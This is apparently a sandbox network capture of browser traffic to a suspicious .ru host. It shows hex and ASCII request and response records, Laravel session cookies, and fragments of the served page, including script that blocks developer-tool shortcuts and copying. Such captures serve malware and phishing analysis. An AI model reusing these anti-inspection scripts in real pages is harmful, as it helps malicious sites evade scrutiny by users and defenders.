2025-03-26 22:34:34 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 38 76 4d 47 4e 73 62 6b 4a 43 63 58 5a 43 4c 32 73 35 53 58 46 45 55 32 35 43 4d 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 44 42 73 63 6b 6c 58 4e 46 4d 34 53 47 35 4a 63 31 68 56 54 7a 6c 72 63 6d 59 72 4f 48 56 42 64 31 52 44 54 44 64 6d 62 31 6c 75 4b 31 56 49 56 6d 77 79 54 6d 6c 45 4c 32 4e 35 64 44 42 61 53 45 73 79 54 6b 4d 31 65 6a 49 30 65 54 5a 43 53 31 4a 4a 54 69 39 59 4d 48 4e 57 59 6e 68 71 4b 31 55 30 4e 79 74 4e 54 54 4e 53 63 57 78 4a 5a 6b 5a 72 56 33 5a 78 62 58 70 50 65 53 38 34 4c 30 5a 72 53 44 4e 47 53 48 56 45 62 45 56 47 51 32 6c 4e 62 46 52 4f 56 31 63 32 5a 6e 46 75 59 6d 52 6a 51 6b 56 61 52 58 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Im8vMGNsbkJCcXZCL2s5SXFEU25CMHc9PSIsInZhbHVlIjoiZDBscklXNFM4SG5Jc1hVTzlrcmYrOHVBd1RDTDdmb1luK1VIVmwyTmlEL2N5dDBaSEsyTkM1ejI0eTZCS1JJTi9YMHNWYnhqK1U0NytNTTNScWxJZkZrV3ZxbXpPeS84L0ZrSDNGSHVEbEVGQ2lNbFROV1c2ZnFuYmRjQkVaRXY
2025-03-26 22:34:34 UTC	358	IN	Data Raw: 31 35 66 0d 0a 7b 22 61 22 3a 22 78 38 62 55 6f 5a 64 54 47 5a 77 56 68 71 64 46 58 35 6e 64 46 58 6a 77 52 55 57 76 63 5c 2f 4c 4d 49 43 78 46 73 6e 53 4b 6f 4a 6e 79 4c 38 48 69 4b 79 76 33 56 49 7a 6b 74 34 32 5a 71 70 6b 41 62 57 4c 43 78 68 61 4b 63 36 42 57 55 32 73 53 65 49 7a 45 4a 53 42 5c 2f 44 64 35 35 7a 67 53 30 78 4f 6a 4b 64 6f 77 63 78 5a 76 65 42 56 4f 2b 69 4c 38 69 57 43 76 54 6e 4e 6c 75 70 6b 63 48 41 51 6c 31 5a 30 54 4a 35 48 76 2b 38 74 6c 43 6e 47 65 7a 34 71 72 36 44 55 32 53 41 78 76 49 37 73 55 78 70 43 30 58 62 50 31 77 6d 31 59 6b 4f 44 35 6b 65 38 58 30 4d 34 37 77 6f 53 41 46 22 2c 22 62 22 3a 22 30 37 64 37 34 64 36 33 62 64 33 63 61 64 63 31 65 35 37 32 64 36 30 35 37 63 36 37 37 39 32 64 22 2c 22 63 22 3a 22 36 62 31 66 Data Ascii: 15f{"a":"x8bUoZdTGZwVhqdFX5ndFXjwRUWvc\/LMICxFsnSKoJnyL8HiKyv3VIzkt42ZqpkAbWLCxhaKc6BWU2sSeIzEJSB\/Dd55zgS0xOjKdowcxZveBVO+iL8iWCvTnNlupkcHAQl1Z0TJ5Hv+8tlCnGez4qr6DU2SAxvI7sUxpC0XbP1wm1YkOD5ke8X0M47woSAF","b":"07d74d63bd3cadc1e572d6057c67792d","c":"6b1f
2025-03-26 22:34:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 22:34:33 UTC	1329	OUT	GET /favicon.ico HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://c2uah.yazvbqkl.ru/QPImv5ff/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjNqdWliKzQyQlVtaVl2NkhTYXhldmc9PSIsInZhbHVlIjoid3BBU3VTQ3JJeHhFcUEwcHJ1RXROcVhtVkF4MFlyQTZocUNNWTNtSzRRWXZIemdoaGh1OUl1dkI0SnhDQStqM3ZsMElhaUg3cU5ycUhCUjErNEVIWGYwVEJSUCtsazVtaXlaS2YySkhsSVBaNGxqRUdlcmY5UHkyVUwvUU84QUYiLCJtYWMiOiIwMDI4YzNmZmM1ZGEzZTkwZWRhMWI5ZWU1YzE2ZThkYTc3Mjg3MmQ5YmQ0N2VkOTAwN2UzNjc0YThkYjVhMjJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIRzA1blFvT0xlNjdHa2d1VVFoTlE9PSIsInZhbHVlIjoiWGthTDh1cGRDVUhDRmZ1TXJRYkNOQStRcXdPZVBPK0VLdXZQNXNkU1pSYnhkYWhyakwvam1WY1JGNDFGNjQ5ck1qT2FoNDdYWkI4UVJkTW5HU0Y3RWM4VmpjRW41eXJFU1liZm5TL0QydUFwbUs4SkUvUC8vekF5WDNmQVpQYVMiLCJtYWMiOiIwNzIzMjRiN2JiMDAyYjU0OGM5NzU1ZmQzMjM4M2M3NjQ1OTZlNDk1MzJhYjIwNDgxZmRhYjA4YTVkNTkwMDU1IiwidGFnIjoiIn0%3D
2025-03-26 22:34:34 UTC	1062	IN	HTTP/1.1 404 Not Found Date: Wed, 26 Mar 2025 22:34:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gRAhQMX3IBMIFd7RXFiGt6UAuEKk2xxjzLhoNEc3dwggJsIylugoTnuk3q%2Ffjumg%2BU7DvXQHlTK0dfeQkw8ETDecCV1RHS3yDHkzPcj8qjVFkbAh%2BRy0wD4uARXf8AGMouVL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=9878&min_rtt=9773&rtt_var=3740&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2243&delivery_rate=291415&cwnd=243&unsent_bytes=0&cid=6379bbdb14ffe0b3&ts=344&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 926a1dba5e1242d5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=85696&min_rtt=85519&rtt_var=18314&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1901&delivery_rate=35504&cwnd=252&unsent_bytes=0&cid=389d18d1ed000ee2&ts=654&x=0"
2025-03-26 22:34:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 22:34:33 UTC	542	OUT	OPTIONS /report/v4?s=l5y2DqYQb8hoL9OciNfOPXqmYINXr7tMbQAAS%2BwPBVZifx1um7YPtJ%2BYiupac5sTeF122BU8IZeSvvttDPhVL1KEtUUdxCNAz5T%2BnnqIoVFrKyOqlYPltQFi0aFgTIVG9SFX HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://c2uah.yazvbqkl.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 22:34:34 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 26 Mar 2025 22:34:33 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-26 22:34:34 UTC	517	OUT	POST /report/v4?s=l5y2DqYQb8hoL9OciNfOPXqmYINXr7tMbQAAS%2BwPBVZifx1um7YPtJ%2BYiupac5sTeF122BU8IZeSvvttDPhVL1KEtUUdxCNAz5T%2BnnqIoVFrKyOqlYPltQFi0aFgTIVG9SFX HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 416 Content-Type: application/reports+json Origin: https://c2uah.yazvbqkl.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 22:34:34 UTC	416	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 38 38 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 35 36 2e 34 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 32 75 61 68 2e 79 61 7a 76 62 71 6b 6c 2e 72 75 Data Ascii: [{"age":0,"body":{"elapsed_time":880,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.56.43","status_code":404,"type":"http.error"},"type":"network-error","url":"https://c2uah.yazvbqkl.ru
2025-03-26 22:34:34 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Wed, 26 Mar 2025 22:34:34 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-26 22:34:34 UTC	1153	OUT	GET /lmykWCmgwVS8xpu8nz9nsmOTnILQydoIwqk6y4WZDGYrX2efw HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkN4U29CWTVBMEQ5WGhCbHU2cHF4MWc9PSIsInZhbHVlIjoicXp3L3lmOTBhM3NQaForbXhGMjZsTGVBcS9GMzNhM2N2ZC9TbjdtMTlHMzhPU3B3RGVIOWF3WmcyZHlsN3pKdk1Ba0FCbWNyQ2taZERoZjY4R0VGQThheEx0S3FJNFRabUNWRThPVTNxcXA1ZkZNWGQ5OTAyaFNaMVhLdjkxSjciLCJtYWMiOiJjNzNhMmExMDcwYzY4Nzg5OTAzOTA0N2Y0MzlhZDdjZTNjYTJhZTY4M2VjMmI4MDNlMTVkNTczZDllMjBhMTIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im8vMGNsbkJCcXZCL2s5SXFEU25CMHc9PSIsInZhbHVlIjoiZDBscklXNFM4SG5Jc1hVTzlrcmYrOHVBd1RDTDdmb1luK1VIVmwyTmlEL2N5dDBaSEsyTkM1ejI0eTZCS1JJTi9YMHNWYnhqK1U0NytNTTNScWxJZkZrV3ZxbXpPeS84L0ZrSDNGSHVEbEVGQ2lNbFROV1c2ZnFuYmRjQkVaRXYiLCJtYWMiOiI0OWFhNjdhMGE0ODkyYWY1ZGQ1MjdhODA5NWE5MDAxMTQyODlhMjEwMmY4YzcxNDJkYTBmODgyYzgyMmVkZDViIiwidGFnIjoiIn0%3D
2025-03-26 22:34:34 UTC	1034	IN	HTTP/1.1 404 Not Found Date: Wed, 26 Mar 2025 22:34:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XLNujsd3NTyrO4%2Fsm1hQJHwTkQzHl%2FZKMCtiG2CQ19dJ5943RKaT4zFZFxzh5ytbS7I90M3GW4Is9TRN5sgJWsEGpPzTtiIEPz0yUK%2BQ1O4Zrhh47vj7xbAVrkdFcjqm9r0L"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=26233&min_rtt=22713&rtt_var=9547&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2066&delivery_rate=125357&cwnd=176&unsent_bytes=0&cid=7a829a932b841d16&ts=192&x=0" Server: cloudflare CF-RAY: 926a1dbdfec9f797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=85605&min_rtt=85154&rtt_var=18647&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1725&delivery_rate=35316&cwnd=250&unsent_bytes=0&cid=a12fd5e7588e01d5&ts=523&x=0"
2025-03-26 22:34:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 22:34:34 UTC	1526	OUT	GET /ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://c2uah.yazvbqkl.ru/QPImv5ff/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkN4U29CWTVBMEQ5WGhCbHU2cHF4MWc9PSIsInZhbHVlIjoicXp3L3lmOTBhM3NQaForbXhGMjZsTGVBcS9GMzNhM2N2ZC9TbjdtMTlHMzhPU3B3RGVIOWF3WmcyZHlsN3pKdk1Ba0FCbWNyQ2taZERoZjY4R0VGQThheEx0S3FJNFRabUNWRThPVTNxcXA1ZkZNWGQ5OTAyaFNaMVhLdjkxSjciLCJtYWMiOiJjNzNhMmExMDcwYzY4Nzg5OTAzOTA0N2Y0MzlhZDdjZTNjYTJhZTY4M2VjMmI4MDNlMTVkNTczZDllMjBhMTIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im8vMGNsbkJCcXZCL2s5SXFEU25CMHc9PSIsInZhbHVlIjoiZDBscklXNFM4SG5Jc1hVTzlrcmYrOHVBd1RDTDdmb1luK1VIVmwyTmlEL2N5dDBaSEsyTkM1ejI0eTZCS1JJTi9YMHNWYnhqK1U0NytNTTNScWxJZkZrV3ZxbXpPeS84L0ZrSDNGSHVEbEVGQ2lNbFROV1c2ZnFuYmRjQkVaRXYiLCJtYWMiOiI0OWFhNjdhMGE0ODkyYWY1ZGQ1MjdhODA5NWE5MDAxMTQyODlhMjEwMmY4YzcxNDJkYTBmODgyYzgyMmVkZDViIiwidGFnIjoiIn0%3D
2025-03-26 22:34:35 UTC	1214	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 22:34:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VcUvJE9kAt%2BxxPYyH9bAFmYBvTjTgcowuBKW5QBO%2BKt2%2F5nFULe1MmT4k9U7C6kdaSeWDio09OBN8x0sz04z7vm%2B3UPyrKsTHbPWKZougGYKMFLGZ1WoqIOvKBcJsZvAYIzl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=8401&min_rtt=8311&rtt_var=2391&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2440&delivery_rate=339573&cwnd=251&unsent_bytes=0&cid=09f7b79a24505c7b&ts=373&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 00:34:35 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 22:34:35 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 4a 77 4d 44 42 4e 54 47 5a 45 4b 33 67 33 52 45 78 5a 5a 58 64 69 5a 55 51 30 64 58 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 54 4e 4c 5a 31 45 7a 64 6e 4d 7a 53 55 78 42 54 30 68 49 55 6b 4a 36 63 58 42 6c 51 6e 64 71 4b 31 42 6e 59 6d 70 51 4d 30 5a 5a 4c 31 56 53 4b 30 78 56 4e 54 41 34 57 58 5a 4e 51 6d 38 7a 64 33 70 75 5a 6d 6c 74 51 55 46 36 64 56 4a 73 61 54 6c 30 52 46 5a 61 4d 30 74 43 55 6b 5a 33 55 6e 4a 30 65 6c 46 4d 57 45 74 32 64 6c 4e 47 4e 47 52 52 53 32 55 31 4d 46 6f 32 64 45 46 4b 55 6b 31 73 53 7a 4a 50 4d 58 56 31 64 6b 4a 50 64 30 6f 72 65 57 51 35 56 6c 42 57 56 32 5a 7a 4e 57 56 76 63 6e 56 47 4d 6c 55 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlU
2025-03-26 22:34:35 UTC	1369	IN	Data Raw: 63 63 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c Data Ascii: cc1<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <titl
2025-03-26 22:34:35 UTC	1369	IN	Data Raw: 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 31 32 30 70 78 3b 6c 65 66 74 3a 32 35 70 78 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 35 29 20 30 20 34 70 78 20 35 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 68 61 64 6f 77 2d 66 61 64 65 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 7d 0d 0a 23 66 6c 61 70 43 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 37 39 70 78 3b 7d 0d 0a 23 65 66 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 34 31 70 78 3b 7d 0d 0a 23 65 66 3e 2e 6c 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 62 61 63 6b Data Ascii: osition:relative;top:120px;left:25px;width:var(--envW);box-shadow:rgba(0,0,0,.25) 0 4px 5px;animation:shadow-fade var(--dur) infinite;}#flapContainer{width:var(--envW);margin-top:179px;}#ef{width:var(--envW);margin-top:-41px;}#ef>.l{width:287px;back
2025-03-26 22:34:35 UTC	534	IN	Data Raw: 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 30 2c 30 2e 36 37 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 0d 0a 2e 66 6c 61 70 54 72 69 61 6e 67 6c 65 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 30 64 39 66 66 3b 6d 61 72 67 69 6e 3a 2d 34 38 70 78 20 61 75 74 6f 20 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 70 78 3b Data Ascii: animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-origin:top;transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}.flapTriangle{width:var(--flapS);height:var(--flapS);background:#50d9ff;margin:-48px auto 0;border-radius:7px;
2025-03-26 22:34:35 UTC	1369	IN	Data Raw: 31 31 61 36 0d 0a 38 36 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 37 70 78 29 3b 7d 7d 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 68 61 64 6f 77 2d 66 61 64 65 7b 30 25 2c 31 30 30 25 2c 32 31 2e 32 25 2c 38 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 7d 34 37 25 2c 37 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 7d 7d 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 63 61 6c 2d 62 6f 75 6e 63 65 7b 30 25 2c 31 30 30 25 2c 31 36 2e 35 25 2c 37 36 2e 31 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 76 61 72 28 2d 2d 63 61 6c 59 29 29 20 73 63 61 6c 65 59 28 31 29 3b 7d 32 38 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 76 61 72 28 2d 2d 63 61 6c 59 4f 76 65 72 45 78 74 29 29 20 73 63 61 6c 65 59 28 31 29 Data Ascii: 11a686%{transform:translateY(7px);}}@keyframes shadow-fade{0%,100%,21.2%,80%{opacity:0;}47%,70%{opacity:1;}}@keyframes cal-bounce{0%,100%,16.5%,76.1%{transform:translateY(var(--calY)) scaleY(1);}28%{transform:translateY(var(--calYOverExt)) scaleY(1)
2025-03-26 22:34:35 UTC	1369	IN	Data Raw: 65 2c 20 6b 65 79 43 6f 64 65 3a 20 36 37 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 34 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 35 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 32 20 7d 2c 20 2f 2f 20 43 74 72 6c 20 2b 20 48 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 6d 65 74 61 3a 20 74 72 75 65 2c 20 61 6c 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 33 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 6d 65 74 61 3a Data Ascii: e, keyCode: 67 }, { ctrl: true, shift: true, keyCode: 74 }, { ctrl: true, shift: true, keyCode: 75 }, { ctrl: true, keyCode: 72 }, // Ctrl + H { meta: true, alt: true, keyCode: 73 }, { meta:
2025-03-26 22:34:35 UTC	1369	IN	Data Raw: 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6f 70 79 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 2e 74 61 67 4e 61 6d 65 20 3d 3d 3d 20 27 49 4e 50 55 54 27 20 7c 7c 20 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 2e 74 61 67 4e 61 6d 65 20 3d 3d 3d 20 27 54 45 58 54 41 52 45 41 27 20 7c 7c 20 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 2e 69 73 43 6f 6e 74 65 6e 74 45 64 69 74 61 62 6c 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 Data Ascii: .addEventListener('copy', function(event) { if (document.activeElement.tagName === 'INPUT' \|\| document.activeElement.tagName === 'TEXTAREA' \|\| document.activeElement.isContentEditable) { return; } event.preventD
